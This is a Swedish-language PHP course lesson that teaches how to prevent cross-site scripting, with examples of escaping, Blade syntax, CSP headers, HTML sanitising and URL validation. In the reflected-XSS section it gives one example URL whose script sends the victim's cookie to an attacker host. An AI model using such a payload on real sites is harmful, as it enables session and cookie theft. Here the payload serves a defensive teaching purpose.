PHP Academy · Lektion

Förhindra cross-site scripting (XSS)

Escapa utdata med htmlspecialchars och implementera en Content Security Policy.

Lektion 1 av 413 steg

Förhindra cross-site scripting (XSS) är en gratis lektion i PHP Academy på CoddyKit. Detta är lektion 1 av 4. Ni kan läsa hela lektionen gratis nedan och sedan öva praktiskt i webbläsaren med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt. Den ingår i lärvägen för PHP Academy, och Era framsteg synkroniseras mellan webben och CoddyKit-appen. Kursen i PHP Academy innehåller totalt 4 lektioner.

Vad är XSS?

Cross-Site Scripting (XSS) inträffar när en angripare injicerar skadlig JavaScript-kod i webbsidor som visas för andra användare. Skriptet körs i offrets webbläsare och får åtkomst till offrets session, cookies och DOM.

Reflekterad XSS

Den skadliga nyttolasten finns i URL:en eller i en formulärparameter och återspeglas av servern i svaret.

// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>

Lagrad XSS

Nyttolasten sparas i databasen, till exempel i en kommentar eller ett profilfält, och visas för alla besökare som visar sidan.

DOM-baserad XSS

Sårbarheten finns helt i JavaScript på klientsidan, som på ett osäkert sätt infogar data som inte är betrodd i DOM med hjälp av innerHTML eller document.write.

htmlspecialchars()

Escapa utdata så att HTML:s specialtecken omvandlas till ofarliga entiteter. Escapa alltid användarens data innan den renderas.

<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entities

Automatisk escapning i Blade

Laravel Blades {{ }}-syntax anropar automatiskt htmlspecialchars. Använd endast {!! !!} för betrodd och sanerad HTML.

{{-- Safe: --}}
<h1>{{ $user->name }}</h1>

{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>

Content Security Policy (CSP)

En CSP HTTP-header instruerar webbläsare att endast köra skript från betrodda källor och blockerar injicerade inline-skript även om de når sidan.

<?php
$response->headers->set("Content-Security-Policy",
    "default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);

Sanering av HTML-indata

Om Ni måste tillåta formaterad HTML-indata, till exempel från en WYSIWYG-redigerare, ska den saneras med ett bibliotek som använder en tillåtelselista, till exempel HTML Purifier eller Laravel-paketet mews/purifier.

<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);

X-XSS-Protection-header

Lägg till headern X-XSS-Protection: 1; mode=block för stöd i äldre webbläsare. Moderna webbläsare förlitar sig i stället på CSP.

HttpOnly-cookies

Om HttpOnly-flaggan sätts på sessionscookies kan JavaScript inte läsa dem, vilket begränsar risken för sessionsstöld via XSS även om ett skript injiceras.

Validera URL:er

Infoga aldrig URL:er från användare i href eller src utan validering. En javascript:-URI kan köra XSS.

<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
    $url = "#"; // fallback
}

Sammanfattning

Escapa alltid utdata med htmlspecialchars eller Blades {{ }}. Lägg till en Content Security Policy. Sanera HTML-indata med ett bibliotek som använder en tillåtelselista. Använd HttpOnly-cookies.

Snabbtest

Vilken PHP-funktion omvandlar särskilda HTML-tecken till entiteter?

Gratis att börja

Lär dig PHP med en AI-lärare – gratis

Skriv och kör riktig kod i webbläsaren, få omedelbar hjälp av en AI-lärare dygnet runt och fortsätt där du slutade – på webben eller i appen.

Kurser
49
Lektioner
195

Vanliga frågor

Är lektionen ”Förhindra cross-site scripting (XSS)” gratis?

Ja – hela texten till ”Förhindra cross-site scripting (XSS)” kan läsas gratis här på webben. Om Ni vill öva interaktivt med en inbyggd kodredigerare och en AI-handledare som är tillgänglig dygnet runt och låsa upp resten av kursen i PHP Academy, kan Ni uppgradera till CoddyKit PRO. Kursen i PHP Academy innehåller totalt 4 lektioner.

Vad lär jag mig i ”Förhindra cross-site scripting (XSS)”?

Escapa utdata med htmlspecialchars och implementera en Content Security Policy. Ni övar på PHP Academy med praktisk kod som körs direkt i webbläsaren, medan en AI-handledare som är tillgänglig dygnet runt svarar på Era frågor under lektionen.

Behöver jag någon erfarenhet för att börja lära mig PHP Academy?

Du behöver inga förkunskaper. Utbildningen i PHP Academy på CoddyKit är upplagd för allt från nybörjare till avancerade elever, så att du kan börja här eller från början och gå fram i din egen takt. Detta är lektion 1 av 4.

Hur lång tid tar lektionen ”Förhindra cross-site scripting (XSS)”?

De flesta CoddyKit-lektioner tar cirka 5–10 minuter. Varje lektion är kort och interaktiv, så att du gör stadiga framsteg och kan fortsätta precis där du slutade – på webben eller i appen.

Kan jag skriva och köra kod i den här PHP Academy-lektionen?

Ja. Varje PHP Academy-lektion innehåller en inbyggd kodredigerare, så att du kan skriva och köra riktig kod direkt i webbläsaren och få omedelbar AI-feedback – utan lokal installation.

Alla lektioner i den här kursen

  1. Förhindra cross-site scripting (XSS)
  2. SQL-injektion och parametriserade frågor
  3. CSRF-skydd
  4. Säker lagring av lösenord
← Tillbaka till PHP Academy